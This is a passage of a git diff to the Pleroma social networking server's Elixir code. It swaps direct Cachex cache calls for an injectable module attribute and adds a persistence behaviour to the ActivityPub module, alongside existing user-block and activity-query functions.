	data["expires_at"] \|> Pleroma.EctoType.ActivityPub.ObjectValidators.DateTime.cast()

	Pleroma.Workers.PurgeExpiredActivity.enqueue(%{
	activity_id: id,
	expires_at: expires_at
	})
	end

	user
	\|> cast(params, [:pinned_activities])
	\|> update_and_set_cache()
	end

	def update_email_notifications(user, settings) do
	email_notifications =
	user.email_notifications
	\|> Map.merge(settings)
	\|> Map.take(["digest"])

	params = %{email_notifications: email_notifications}
	fields = [:email_notifications]

	user
	\|> cast(params, fields)
	\|> validate_required(fields)
	\|> update_and_set_cache()
	end

	defp set_domain_blocks(user, domain_blocks) do
	params = %{domain_blocks: domain_blocks}

	user
	\|> cast(params, [:domain_blocks])
	\|> validate_required([:domain_blocks])
	\|> update_and_set_cache()
	end

	def block_domain(user, domain_blocked) do
	set_domain_blocks(user, Enum.uniq([domain_blocked \| user.domain_blocks]))
	end

	def unblock_domain(user, domain_blocked) do
	set_domain_blocks(user, List.delete(user.domain_blocks, domain_blocked))
	end

	@spec add_to_block(User.t(), User.t()) ::
	{:ok, UserRelationship.t()} \| {:error, Ecto.Changeset.t()}
	defp add_to_block(%User{} = user, %User{} = blocked) do
	with {:ok, relationship} <- UserRelationship.create_block(user, blocked) do
	- Cachex.del(:user_cache, "blocked_users_ap_ids:#{user.ap_id}")
	+ @cachex.del(:user_cache, "blocked_users_ap_ids:#{user.ap_id}")
	{:ok, relationship}
	end
	end

	@spec add_to_block(User.t(), User.t()) ::
	{:ok, UserRelationship.t()} \| {:ok, nil} \| {:error, Ecto.Changeset.t()}
	defp remove_from_block(%User{} = user, %User{} = blocked) do
	with {:ok, relationship} <- UserRelationship.delete_block(user, blocked) do
	- Cachex.del(:user_cache, "blocked_users_ap_ids:#{user.ap_id}")
	+ @cachex.del(:user_cache, "blocked_users_ap_ids:#{user.ap_id}")
	{:ok, relationship}
	end
	end

	def set_invisible(user, invisible) do
	params = %{invisible: invisible}

	user
	\|> cast(params, [:invisible])
	\|> validate_required([:invisible])
	\|> update_and_set_cache()
	end

	def sanitize_html(%User{} = user) do
	sanitize_html(user, nil)
	end

	# User data that mastodon isn't filtering (treated as plaintext):
	# - field name
	# - display name
	def sanitize_html(%User{} = user, filter) do
	fields =
	Enum.map(user.fields, fn %{"name" => name, "value" => value} ->
	%{
	"name" => name,
	"value" => HTML.filter_tags(value, Pleroma.HTML.Scrubber.LinksOnly)
	}
	end)

	user
	\|> Map.put(:bio, HTML.filter_tags(user.bio, filter))
	\|> Map.put(:fields, fields)
	end

	def get_host(%User{ap_id: ap_id} = _user) do
	URI.parse(ap_id).host
	end
	end
	diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex
	index 1c91bc074..5059bff03 100644
	--- a/lib/pleroma/web/activity_pub/activity_pub.ex
	+++ b/lib/pleroma/web/activity_pub/activity_pub.ex
	@@ -1,1471 +1,1474 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ActivityPub do
	alias Pleroma.Activity
	alias Pleroma.Activity.Ir.Topics
	alias Pleroma.Config
	alias Pleroma.Constants
	alias Pleroma.Conversation
	alias Pleroma.Conversation.Participation
	alias Pleroma.Filter
	alias Pleroma.Maps
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Object.Containment
	alias Pleroma.Object.Fetcher
	alias Pleroma.Pagination
	alias Pleroma.Repo
	alias Pleroma.Upload
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.MRF
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.Streamer
	alias Pleroma.Web.WebFinger
	alias Pleroma.Workers.BackgroundWorker

	import Ecto.Query
	import Pleroma.Web.ActivityPub.Utils
	import Pleroma.Web.ActivityPub.Visibility

	require Logger
	require Pleroma.Constants

	+ @behaviour Pleroma.Web.ActivityPub.ActivityPub.Persisting
	+
	defp get_recipients(%{"type" => "Create"} = data) do
	to = Map.get(data, "to", [])
	cc = Map.get(data, "cc", [])
	bcc = Map.get(data, "bcc", [])
	actor = Map.get(data, "actor", [])
	recipients = [to, cc, bcc, [actor]] \|> Enum.concat() \|> Enum.uniq()
	{recipients, to, cc}
	end

	defp get_recipients(data) do
	to = Map.get(data, "to", [])
	cc = Map.get(data, "cc", [])
	bcc = Map.get(data, "bcc", [])
	recipients = Enum.concat([to, cc, bcc])
	{recipients, to, cc}
	end

	defp check_actor_is_active(nil), do: true

	defp check_actor_is_active(actor) when is_binary(actor) do
	case User.get_cached_by_ap_id(actor) do
	%User{deactivated: deactivated} -> not deactivated
	_ -> false
	end
	end

	defp check_remote_limit(%{"object" => %{"content" => content}}) when not is_nil(content) do
	limit = Config.get([:instance, :remote_limit])
	String.length(content) <= limit
	end

	defp check_remote_limit(_), do: true

	def increase_note_count_if_public(actor, object) do
	if is_public?(object), do: User.increase_note_count(actor), else: {:ok, actor}
	end

	def decrease_note_count_if_public(actor, object) do
	if is_public?(object), do: User.decrease_note_count(actor), else: {:ok, actor}
	end

	defp increase_replies_count_if_reply(%{
	"object" => %{"inReplyTo" => reply_ap_id} = object,
	"type" => "Create"
	}) do
	if is_public?(object) do
	Object.increase_replies_count(reply_ap_id)
	end
	end

	defp increase_replies_count_if_reply(_create_data), do: :noop

	@object_types ~w[ChatMessage Question Answer Audio Video Event Article]
	- @spec persist(map(), keyword()) :: {:ok, Activity.t() \| Object.t()}
	+ @impl true
	def persist(%{"type" => type} = object, meta) when type in @object_types do
	with {:ok, object} <- Object.create(object) do
	{:ok, object, meta}
	end
	end

	+ @impl true
	def persist(object, meta) do
	with local <- Keyword.fetch!(meta, :local),
	{recipients, _, _} <- get_recipients(object),
	{:ok, activity} <-
	Repo.insert(%Activity{
	data: object,
	local: local,
	recipients: recipients,
	actor: object["actor"]
	}),
	# TODO: add tests for expired activities, when Note type will be supported in new pipeline
	{:ok, _} <- maybe_create_activity_expiration(activity) do
	{:ok, activity, meta}
	end
	end

	@spec insert(map(), boolean(), boolean(), boolean()) :: {:ok, Activity.t()} \| {:error, any()}
	def insert(map, local \\ true, fake \\ false, bypass_actor_check \\ false) when is_map(map) do
	with nil <- Activity.normalize(map),
	map <- lazy_put_activity_defaults(map, fake),
	{_, true} <- {:actor_check, bypass_actor_check \|\| check_actor_is_active(map["actor"])},
	{_, true} <- {:remote_limit_pass, check_remote_limit(map)},
	{:ok, map} <- MRF.filter(map),
	{recipients, _, _} = get_recipients(map),
	{:fake, false, map, recipients} <- {:fake, fake, map, recipients},
	{:containment, :ok} <- {:containment, Containment.contain_child(map)},
	{:ok, map, object} <- insert_full_object(map),
	{:ok, activity} <- insert_activity_with_expiration(map, local, recipients) do
	# Splice in the child object if we have one.
	activity = Maps.put_if_present(activity, :object, object)

	ConcurrentLimiter.limit(Pleroma.Web.RichMedia.Helpers, fn ->
	Task.start(fn -> Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) end)
	end)

	{:ok, activity}
	else
	%Activity{} = activity ->
	{:ok, activity}

	{:actor_check, _} ->
	{:error, false}

	{:containment, _} = error ->
	error

	{:error, _} = error ->
	error

	{:fake, true, map, recipients} ->
	activity = %Activity{
	data: map,
	local: local,
	actor: map["actor"],
	recipients: recipients,
	id: "pleroma:fakeid"
	}

	Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity)
	{:ok, activity}

	{:remote_limit_pass, _} ->
	{:error, :remote_limit}

	{:reject, _} = e ->
	{:error, e}
	end
	end

	defp insert_activity_with_expiration(data, local, recipients) do
	struct = %Activity{
	data: data,
	local: local,
	actor: data["actor"],
	recipients: recipients
	}

	with {:ok, activity} <- Repo.insert(struct) do
	maybe_create_activity_expiration(activity)
	end
	end

	def notify_and_stream(activity) do
	Notification.create_notifications(activity)

	conversation = create_or_bump_conversation(activity, activity.actor)
	participations = get_participations(conversation)
	stream_out(activity)
	stream_out_participations(participations)
	end

	defp maybe_create_activity_expiration(
	%{data: %{"expires_at" => %DateTime{} = expires_at}} = activity
	) do
	with {:ok, _job} <-
	Pleroma.Workers.PurgeExpiredActivity.enqueue(%{
	activity_id: activity.id,
	expires_at: expires_at
	}) do
	{:ok, activity}
	end
	end

	defp maybe_create_activity_expiration(activity), do: {:ok, activity}

	defp create_or_bump_conversation(activity, actor) do
	with {:ok, conversation} <- Conversation.create_or_bump_for(activity),
	%User{} = user <- User.get_cached_by_ap_id(actor) do
	Participation.mark_as_read(user, conversation)
	{:ok, conversation}
	end
	end

	defp get_participations({:ok, conversation}) do
	conversation
	\|> Repo.preload(:participations, force: true)
	\|> Map.get(:participations)
	end

	defp get_participations(_), do: []

	def stream_out_participations(participations) do
	participations =
	participations
	\|> Repo.preload(:user)

	Streamer.stream("participation", participations)
	end

	def stream_out_participations(%Object{data: %{"context" => context}}, user) do
	with %Conversation{} = conversation <- Conversation.get_for_ap_id(context) do
	conversation = Repo.preload(conversation, :participations)

	last_activity_id =
	fetch_latest_direct_activity_id_for_context(conversation.ap_id, %{
	user: user,
	blocking_user: user
	})

	if last_activity_id do
	stream_out_participations(conversation.participations)
	end
	end
	end

	def stream_out_participations(_, _), do: :noop

	def stream_out(%Activity{data: %{"type" => data_type}} = activity)
	when data_type in ["Create", "Announce", "Delete"] do
	activity
	\|> Topics.get_activity_topics()
	\|> Streamer.stream(activity)
	end

	def stream_out(_activity) do
	:noop
	end

	@spec create(map(), boolean()) :: {:ok, Activity.t()} \| {:error, any()}
	def create(params, fake \\ false) do
	with {:ok, result} <- Repo.transaction(fn -> do_create(params, fake) end) do
	result
	end
	end

	defp do_create(%{to: to, actor: actor, context: context, object: object} = params, fake) do
	additional = params[:additional] \|\| %{}
	# only accept false as false value
	local = !(params[:local] == false)
	published = params[:published]
	quick_insert? = Config.get([:env]) == :benchmark

	create_data =
	make_create_data(
	%{to: to, actor: actor, published: published, context: context, object: object},
	additional
	)

	with {:ok, activity} <- insert(create_data, local, fake),
	{:fake, false, activity} <- {:fake, fake, activity},
	_ <- increase_replies_count_if_reply(create_data),
	{:quick_insert, false, activity} <- {:quick_insert, quick_insert?, activity},
	{:ok, _actor} <- increase_note_count_if_public(actor, activity),
	_ <- notify_and_stream(activity),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	else
	{:quick_insert, true, activity} ->
	{:ok, activity}

	{:fake, true, activity} ->
	{:ok, activity}

	{:error, message} ->
	Repo.rollback(message)
	end
	end

	@spec listen(map()) :: {:ok, Activity.t()} \| {:error, any()}
	def listen(%{to: to, actor: actor, context: context, object: object} = params) do
	additional = params[:additional] \|\| %{}
	# only accept false as false value
	local = !(params[:local] == false)
	published = params[:published]

	listen_data =
	make_listen_data(
	%{to: to, actor: actor, published: published, context: context, object: object},
	additional
	)

	with {:ok, activity} <- insert(listen_data, local),
	_ <- notify_and_stream(activity),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	@spec unfollow(User.t(), User.t(), String.t() \| nil, boolean()) ::
	{:ok, Activity.t()} \| nil \| {:error, any()}
	def unfollow(follower, followed, activity_id \\ nil, local \\ true) do
	with {:ok, result} <-
	Repo.transaction(fn -> do_unfollow(follower, followed, activity_id, local) end) do
	result
	end
	end

	defp do_unfollow(follower, followed, activity_id, local) do
	with %Activity{} = follow_activity <- fetch_latest_follow(follower, followed),
	{:ok, follow_activity} <- update_follow_state(follow_activity, "cancelled"),
	unfollow_data <- make_unfollow_data(follower, followed, follow_activity, activity_id),
	{:ok, activity} <- insert(unfollow_data, local),
	_ <- notify_and_stream(activity),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	else
	nil -> nil
	{:error, error} -> Repo.rollback(error)
	end
	end

	@spec flag(map()) :: {:ok, Activity.t()} \| {:error, any()}
	def flag(params) do
	with {:ok, result} <- Repo.transaction(fn -> do_flag(params) end) do
	result
	end
	end

	defp do_flag(
	%{
	actor: actor,
	context: _context,
	account: account,
	statuses: statuses,
	content: content
	} = params
	) do
	# only accept false as false value
	local = !(params[:local] == false)
	forward = !(params[:forward] == false)

	additional = params[:additional] \|\| %{}

	additional =
	if forward do
	Map.merge(additional, %{"to" => [], "cc" => [account.ap_id]})
	else
	Map.merge(additional, %{"to" => [], "cc" => []})
	end

	with flag_data <- make_flag_data(params, additional),
	{:ok, activity} <- insert(flag_data, local),
	{:ok, stripped_activity} <- strip_report_status_data(activity),
	_ <- notify_and_stream(activity),
	:ok <-
	maybe_federate(stripped_activity) do
	User.all_superusers()
	\|> Enum.filter(fn user -> not is_nil(user.email) end)
	\|> Enum.each(fn superuser ->
	superuser
	\|> Pleroma.Emails.AdminEmail.report(actor, account, statuses, content)
	\|> Pleroma.Emails.Mailer.deliver_async()
	end)

	{:ok, activity}
	else
	{:error, error} -> Repo.rollback(error)
	end
	end

	@spec move(User.t(), User.t(), boolean()) :: {:ok, Activity.t()} \| {:error, any()}
	def move(%User{} = origin, %User{} = target, local \\ true) do
	params = %{
	"type" => "Move",
	"actor" => origin.ap_id,
	"object" => origin.ap_id,
	"target" => target.ap_id
	}

	with true <- origin.ap_id in target.also_known_as,
	{:ok, activity} <- insert(params, local),
	_ <- notify_and_stream(activity) do
	maybe_federate(activity)

	BackgroundWorker.enqueue("move_following", %{
	"origin_id" => origin.id,
	"target_id" => target.id
	})

	{:ok, activity}
	else
	false -> {:error, "Target account must have the origin in `alsoKnownAs`"}
	err -> err
	end
	end

	def fetch_activities_for_context_query(context, opts) do
	public = [Constants.as_public()]

	recipients =
	if opts[:user],
	do: [opts[:user].ap_id \| User.following(opts[:user])] ++ public,
	else: public

	from(activity in Activity)
	\|> maybe_preload_objects(opts)
	\|> maybe_preload_bookmarks(opts)
	\|> maybe_set_thread_muted_field(opts)
	\|> restrict_blocked(opts)
	\|> restrict_recipients(recipients, opts[:user])
	\|> restrict_filtered(opts)
	\|> where(
	[activity],
	fragment(
	"?->>'type' = ? and ?->>'context' = ?",
	activity.data,
	"Create",
	activity.data,
	^context
	)
	)
	\|> exclude_poll_votes(opts)
	\|> exclude_id(opts)
	\|> order_by([activity], desc: activity.id)
	end

	@spec fetch_activities_for_context(String.t(), keyword() \| map()) :: [Activity.t()]
	def fetch_activities_for_context(context, opts \\ %{}) do
	context
	\|> fetch_activities_for_context_query(opts)
	\|> Repo.all()
	end

	@spec fetch_latest_direct_activity_id_for_context(String.t(), keyword() \| map()) ::
	FlakeId.Ecto.CompatType.t() \| nil
	def fetch_latest_direct_activity_id_for_context(context, opts \\ %{}) do
	context
	\|> fetch_activities_for_context_query(Map.merge(%{skip_preload: true}, opts))
	\|> restrict_visibility(%{visibility: "direct"})
	\|> limit(1)
	\|> select([a], a.id)
	\|> Repo.one()
	end

	@spec fetch_public_or_unlisted_activities(map(), Pagination.type()) :: [Activity.t()]
	def fetch_public_or_unlisted_activities(opts \\ %{}, pagination \\ :keyset) do
	opts = Map.delete(opts, :user)

	[Constants.as_public()]
	\|> fetch_activities_query(opts)
	\|> restrict_unlisted(opts)
	\|> Pagination.fetch_paginated(opts, pagination)
	end

	@spec fetch_public_activities(map(), Pagination.type()) :: [Activity.t()]
	def fetch_public_activities(opts \\ %{}, pagination \\ :keyset) do
	opts
	\|> Map.put(:restrict_unlisted, true)
	\|> fetch_public_or_unlisted_activities(pagination)
	end

	@valid_visibilities ~w[direct unlisted public private]

	defp restrict_visibility(query, %{visibility: visibility})
	when is_list(visibility) do
	if Enum.all?(visibility, &(&1 in @valid_visibilities)) do
	from(
	a in query,
	where:
	fragment(
	"activity_visibility(?, ?, ?) = ANY (?)",
	a.actor,
	a.recipients,
	a.data,
	^visibility
	)
	)
	else
	Logger.error("Could not restrict visibility to #{visibility}")
	end
	end

	defp restrict_visibility(query, %{visibility: visibility})
	when visibility in @valid_visibilities do
	from(
	a in query,
	where:
	fragment("activity_visibility(?, ?, ?) = ?", a.actor, a.recipients, a.data, ^visibility)
	)
	end

	defp restrict_visibility(_query, %{visibility: visibility})
	when visibility not in @valid_visibilities do
	Logger.error("Could not restrict visibility to #{visibility}")
	end

	defp restrict_visibility(query, _visibility), do: query

	defp exclude_visibility(query, %{exclude_visibilities: visibility})
	when is_list(visibility) do
	if Enum.all?(visibility, &(&1 in @valid_visibilities)) do
	from(
	a in query,
	where:
	not fragment(
	"activity_visibility(?, ?, ?) = ANY (?)",
	a.actor,
	a.recipients,
	a.data,
	^visibility
	)
	)
	else
	Logger.error("Could not exclude visibility to #{visibility}")
	query
	end
	end

	defp exclude_visibility(query, %{exclude_visibilities: visibility})
	when visibility in @valid_visibilities do
	from(
	a in query,
	where:
	not fragment(
	"activity_visibility(?, ?, ?) = ?",
	a.actor,
	a.recipients,
	a.data,
	^visibility
	)
	)
	end

	defp exclude_visibility(query, %{exclude_visibilities: visibility})
	when visibility not in [nil \| @valid_visibilities] do
	Logger.error("Could not exclude visibility to #{visibility}")
	query
	end

	defp exclude_visibility(query, _visibility), do: query

	defp restrict_thread_visibility(query, _, %{skip_thread_containment: true} = _),
	do: query

	defp restrict_thread_visibility(query, %{user: %User{skip_thread_containment: true}}, _),
	do: query

	defp restrict_thread_visibility(query, %{user: %User{ap_id: ap_id}}, _) do
	from(
	a in query,
	where: fragment("thread_visibility(?, (?)->>'id') = true", ^ap_id, a.data)
	)
	end

	defp restrict_thread_visibility(query, _, _), do: query

	def fetch_user_abstract_activities(user, reading_user, params \\ %{}) do
	params =
	params
	\|> Map.put(:user, reading_user)
	\|> Map.put(:actor_id, user.ap_id)

	%{
	godmode: params[:godmode],
	reading_user: reading_user
	}
	\|> user_activities_recipients()
	\|> fetch_activities(params)
	\|> Enum.reverse()
	end

	def fetch_user_activities(user, reading_user, params \\ %{}) do
	params =
	params
	\|> Map.put(:type, ["Create", "Announce"])
	\|> Map.put(:user, reading_user)
	\|> Map.put(:actor_id, user.ap_id)
	\|> Map.put(:pinned_activity_ids, user.pinned_activities)

	params =
	if User.blocks?(reading_user, user) do
	params
	else
	params
	\|> Map.put(:blocking_user, reading_user)
	\|> Map.put(:muting_user, reading_user)
	end

	%{
	godmode: params[:godmode],
	reading_user: reading_user
	}
	\|> user_activities_recipients()
	\|> fetch_activities(params)
	\|> Enum.reverse()
	end

	def fetch_statuses(reading_user, params) do
	params = Map.put(params, :type, ["Create", "Announce"])

	%{
	godmode: params[:godmode],
	reading_user: reading_user
	}
	\|> user_activities_recipients()
	\|> fetch_activities(params, :offset)
	\|> Enum.reverse()
	end

	defp user_activities_recipients(%{godmode: true}), do: []

	defp user_activities_recipients(%{reading_user: reading_user}) do
	if reading_user do
	[Constants.as_public(), reading_user.ap_id \| User.following(reading_user)]
	else
	[Constants.as_public()]
	end
	end

	defp restrict_announce_object_actor(_query, %{announce_filtering_user: _, skip_preload: true}) do
	raise "Can't use the child object without preloading!"
	end

	defp restrict_announce_object_actor(query, %{announce_filtering_user: %{ap_id: actor}}) do
	from(
	[activity, object] in query,
	where:
	fragment(
	"?->>'type' != ? or ?->>'actor' != ?",
	activity.data,
	"Announce",
	object.data,
	^actor
	)
	)
	end

	defp restrict_announce_object_actor(query, _), do: query

	defp restrict_since(query, %{since_id: ""}), do: query

	defp restrict_since(query, %{since_id: since_id}) do
	from(activity in query, where: activity.id > ^since_id)
	end

	defp restrict_since(query, _), do: query

	defp restrict_tag_reject(_query, %{tag_reject: _tag_reject, skip_preload: true}) do
	raise "Can't use the child object without preloading!"
	end

	defp restrict_tag_reject(query, %{tag_reject: [_ \| _] = tag_reject}) do
	from(
	[_activity, object] in query,
	where: fragment("not (?)->'tag' \\?\| (?)", object.data, ^tag_reject)
	)
	end

	defp restrict_tag_reject(query, _), do: query

	defp restrict_tag_all(_query, %{tag_all: _tag_all, skip_preload: true}) do
	raise "Can't use the child object without preloading!"
	end

	defp restrict_tag_all(query, %{tag_all: [_ \| _] = tag_all}) do
	from(
	[_activity, object] in query,
	where: fragment("(?)->'tag' \\?& (?)", object.data, ^tag_all)
	)
	end

	defp restrict_tag_all(query, _), do: query

	defp restrict_tag(_query, %{tag: _tag, skip_preload: true}) do
	raise "Can't use the child object without preloading!"
	end

	defp restrict_tag(query, %{tag: tag}) when is_list(tag) do
	from(
	[_activity, object] in query,
	where: fragment("(?)->'tag' \\?\| (?)", object.data, ^tag)
	)
	end

	defp restrict_tag(query, %{tag: tag}) when is_binary(tag) do
	from(
	[_activity, object] in query,
	where: fragment("(?)->'tag' \\? (?)", object.data, ^tag)
	)
	end

	defp restrict_tag(query, _), do: query

	defp restrict_recipients(query, [], _user), do: query

	defp restrict_recipients(query, recipients, nil) do
	from(activity in query, where: fragment("? && ?", ^recipients, activity.recipients))
	end

	defp restrict_recipients(query, recipients, user) do
	from(
	activity in query,
	where: fragment("? && ?", ^recipients, activity.recipients),
	or_where: activity.actor == ^user.ap_id
	)
	end

	defp restrict_local(query, %{local_only: true}) do
	from(activity in query, where: activity.local == true)
	end

	defp restrict_local(query, _), do: query

	defp restrict_actor(query, %{actor_id: actor_id}) do
	from(activity in query, where: activity.actor == ^actor_id)
	end

	defp restrict_actor(query, _), do: query

	defp restrict_type(query, %{type: type}) when is_binary(type) do
	from(activity in query, where: fragment("?->>'type' = ?", activity.data, ^type))
	end

	defp restrict_type(query, %{type: type}) do
	from(activity in query, where: fragment("?->>'type' = ANY(?)", activity.data, ^type))
	end

	defp restrict_type(query, _), do: query

	defp restrict_state(query, %{state: state}) do
	from(activity in query, where: fragment("?->>'state' = ?", activity.data, ^state))
	end

	defp restrict_state(query, _), do: query

	defp restrict_favorited_by(query, %{favorited_by: ap_id}) do
	from(
	[_activity, object] in query,
	where: fragment("(?)->'likes' \\? (?)", object.data, ^ap_id)
	)
	end

	defp restrict_favorited_by(query, _), do: query

	defp restrict_media(_query, %{only_media: _val, skip_preload: true}) do
	raise "Can't use the child object without preloading!"
	end

	defp restrict_media(query, %{only_media: true}) do
	from(
	[activity, object] in query,
	where: fragment("(?)->>'type' = ?", activity.data, "Create"),
	where: fragment("not (?)->'attachment' = (?)", object.data, ^[])
	)
	end

	defp restrict_media(query, _), do: query

	defp restrict_replies(query, %{exclude_replies: true}) do
	from(
	[_activity, object] in query,
	where: fragment("?->>'inReplyTo' is null", object.data)
	)
	end

	defp restrict_replies(query, %{
	reply_filtering_user: %User{} = user,
	reply_visibility: "self"
	}) do
	from(
	[activity, object] in query,
	where:
	fragment(
	"?->>'inReplyTo' is null OR ? = ANY(?)",
	object.data,
	^user.ap_id,
	activity.recipients
	)
	)
	end

	defp restrict_replies(query, %{
	reply_filtering_user: %User{} = user,
	reply_visibility: "following"
	}) do
	from(
	[activity, object] in query,
	where:
	fragment(
	"""
	?->>'type' != 'Create' -- This isn't a Create
	OR ?->>'inReplyTo' is null -- this isn't a reply
	OR ? && array_remove(?, ?) -- The recipient is us or one of our friends,
	-- unless they are the author (because authors
	-- are also part of the recipients). This leads
	-- to a bug that self-replies by friends won't
	-- show up.
	OR ? = ? -- The actor is us
	""",
	activity.data,
	object.data,
	^[user.ap_id \| User.get_cached_user_friends_ap_ids(user)],
	activity.recipients,
	activity.actor,
	activity.actor,
	^user.ap_id
	)
	)
	end

	defp restrict_replies(query, _), do: query

	defp restrict_reblogs(query, %{exclude_reblogs: true}) do
	from(activity in query, where: fragment("?->>'type' != 'Announce'", activity.data))
	end

	defp restrict_reblogs(query, _), do: query

	defp restrict_muted(query, %{with_muted: true}), do: query

	defp restrict_muted(query, %{muting_user: %User{} = user} = opts) do
	mutes = opts[:muted_users_ap_ids] \|\| User.muted_users_ap_ids(user)

	query =
	from([activity] in query,
	where: fragment("not (? = ANY(?))", activity.actor, ^mutes),
	where:
	fragment(
	"not (?->'to' \\?\| ?) or ? = ?",
	activity.data,
	^mutes,
	activity.actor,
	^user.ap_id
	)
	)

	unless opts[:skip_preload] do
	from([thread_mute: tm] in query, where: is_nil(tm.user_id))
	else
	query
	end
	end

	defp restrict_muted(query, _), do: query

	defp restrict_blocked(query, %{blocking_user: %User{} = user} = opts) do
	blocked_ap_ids = opts[:blocked_users_ap_ids] \|\| User.blocked_users_ap_ids(user)
	domain_blocks = user.domain_blocks \|\| []

	following_ap_ids = User.get_friends_ap_ids(user)

	query =
	if has_named_binding?(query, :object), do: query, else: Activity.with_joined_object(query)

	from(
	[activity, object: o] in query,
	where: fragment("not (? = ANY(?))", activity.actor, ^blocked_ap_ids),
	where:
	fragment(
	"((not (? && ?)) or ? = ?)",
	activity.recipients,
	^blocked_ap_ids,
	activity.actor,
	^user.ap_id
	),
	where:
	fragment(
	"recipients_contain_blocked_domains(?, ?) = false",
	activity.recipients,
	^domain_blocks
	),
	where:
	fragment(
	"not (?->>'type' = 'Announce' and ?->'to' \\?\| ?)",
	activity.data,
	activity.data,
	^blocked_ap_ids
	),
	where:
	fragment(
	"(not (split_part(?, '/', 3) = ANY(?))) or ? = ANY(?)",
	activity.actor,
	^domain_blocks,
	activity.actor,
	^following_ap_ids
	),
	where:
	fragment(
	"(not (split_part(?->>'actor', '/', 3) = ANY(?))) or (?->>'actor') = ANY(?)",
	o.data,
	^domain_blocks,
	o.data,
	^following_ap_ids
	)
	)
	end

	defp restrict_blocked(query, _), do: query

	defp restrict_unlisted(query, %{restrict_unlisted: true}) do
	from(
	activity in query,
	where:
	fragment(
	"not (coalesce(?->'cc', '{}'::jsonb) \\?\| ?)",
	activity.data,
	^[Constants.as_public()]
	)
	)
	end

	defp restrict_unlisted(query, _), do: query

	defp restrict_pinned(query, %{pinned: true, pinned_activity_ids: ids}) do
	from(activity in query, where: activity.id in ^ids)
	end

	defp restrict_pinned(query, _), do: query

	defp restrict_muted_reblogs(query, %{muting_user: %User{} = user} = opts) do
	muted_reblogs = opts[:reblog_muted_users_ap_ids] \|\| User.reblog_muted_users_ap_ids(user)

	from(
	activity in query,
	where:
	fragment(
	"not ( ?->>'type' = 'Announce' and ? = ANY(?))",
	activity.data,
	activity.actor,
	^muted_reblogs
	)
	)
	end

	defp restrict_muted_reblogs(query, _), do: query

	defp restrict_instance(query, %{instance: instance}) when is_binary(instance) do
	from(
	activity in query,
	where: fragment("split_part(actor::text, '/'::text, 3) = ?", ^instance)
	)
	end

	defp restrict_instance(query, _), do: query

	defp restrict_filtered(query, %{user: %User{} = user}) do
	case Filter.compose_regex(user) do
	nil ->
	query

	regex ->
	from([activity, object] in query,
	where:
	fragment("not(?->>'content' ~* ?)", object.data, ^regex) or
	activity.actor == ^user.ap_id
	)
	end
	end

	defp restrict_filtered(query, %{blocking_user: %User{} = user}) do
	restrict_filtered(query, %{user: user})
	end

	defp restrict_filtered(query, _), do: query

	defp exclude_poll_votes(query, %{include_poll_votes: true}), do: query

	defp exclude_poll_votes(query, _) do
	if has_named_binding?(query, :object) do
	from([activity, object: o] in query,
	where: fragment("not(?->>'type' = ?)", o.data, "Answer")
	)
	else
	query
	end
	end

	defp exclude_chat_messages(query, %{include_chat_messages: true}), do: query

	defp exclude_chat_messages(query, _) do
	if has_named_binding?(query, :object) do
	from([activity, object: o] in query,
	where: fragment("not(?->>'type' = ?)", o.data, "ChatMessage")
	)
	else
	query
	end
	end

	defp exclude_invisible_actors(query, %{invisible_actors: true}), do: query

	defp exclude_invisible_actors(query, _opts) do
	invisible_ap_ids =
	User.Query.build(%{invisible: true, select: [:ap_id]})
	\|> Repo.all()
	\|> Enum.map(fn %{ap_id: ap_id} -> ap_id end)

	from([activity] in query, where: activity.actor not in ^invisible_ap_ids)
	end

	defp exclude_id(query, %{exclude_id: id}) when is_binary(id) do
	from(activity in query, where: activity.id != ^id)
	end

	defp exclude_id(query, _), do: query

	defp maybe_preload_objects(query, %{skip_preload: true}), do: query

	defp maybe_preload_objects(query, _) do
	query
	\|> Activity.with_preloaded_object()
	end

	defp maybe_preload_bookmarks(query, %{skip_preload: true}), do: query

	defp maybe_preload_bookmarks(query, opts) do
	query
	\|> Activity.with_preloaded_bookmark(opts[:user])
	end

	defp maybe_preload_report_notes(query, %{preload_report_notes: true}) do
	query
	\|> Activity.with_preloaded_report_notes()
	end

	defp maybe_preload_report_notes(query, _), do: query

	defp maybe_set_thread_muted_field(query, %{skip_preload: true}), do: query

	defp maybe_set_thread_muted_field(query, opts) do
	query
	\|> Activity.with_set_thread_muted_field(opts[:muting_user] \|\| opts[:user])
	end

	defp maybe_order(query, %{order: :desc}) do
	query
	\|> order_by(desc: :id)
	end

	defp maybe_order(query, %{order: :asc}) do
	query
	\|> order_by(asc: :id)
	end

	defp maybe_order(query, _), do: query

	defp fetch_activities_query_ap_ids_ops(opts) do
	source_user = opts[:muting_user]
	ap_id_relationships = if source_user, do: [:mute, :reblog_mute], else: []

	ap_id_relationships =
	if opts[:blocking_user] && opts[:blocking_user] == source_user do
	[:block \| ap_id_relationships]
	else
	ap_id_relationships
	end

	preloaded_ap_ids = User.outgoing_relationships_ap_ids(source_user, ap_id_relationships)

	restrict_blocked_opts = Map.merge(%{blocked_users_ap_ids: preloaded_ap_ids[:block]}, opts)
	restrict_muted_opts = Map.merge(%{muted_users_ap_ids: preloaded_ap_ids[:mute]}, opts)

	restrict_muted_reblogs_opts =
	Map.merge(%{reblog_muted_users_ap_ids: preloaded_ap_ids[:reblog_mute]}, opts)

	{restrict_blocked_opts, restrict_muted_opts, restrict_muted_reblogs_opts}
	end

	def fetch_activities_query(recipients, opts \\ %{}) do
	{restrict_blocked_opts, restrict_muted_opts, restrict_muted_reblogs_opts} =
	fetch_activities_query_ap_ids_ops(opts)

	config = %{
	skip_thread_containment: Config.get([:instance, :skip_thread_containment])
	}

	Activity
	\|> maybe_preload_objects(opts)
	\|> maybe_preload_bookmarks(opts)
	\|> maybe_preload_report_notes(opts)
	\|> maybe_set_thread_muted_field(opts)
	\|> maybe_order(opts)
	\|> restrict_recipients(recipients, opts[:user])
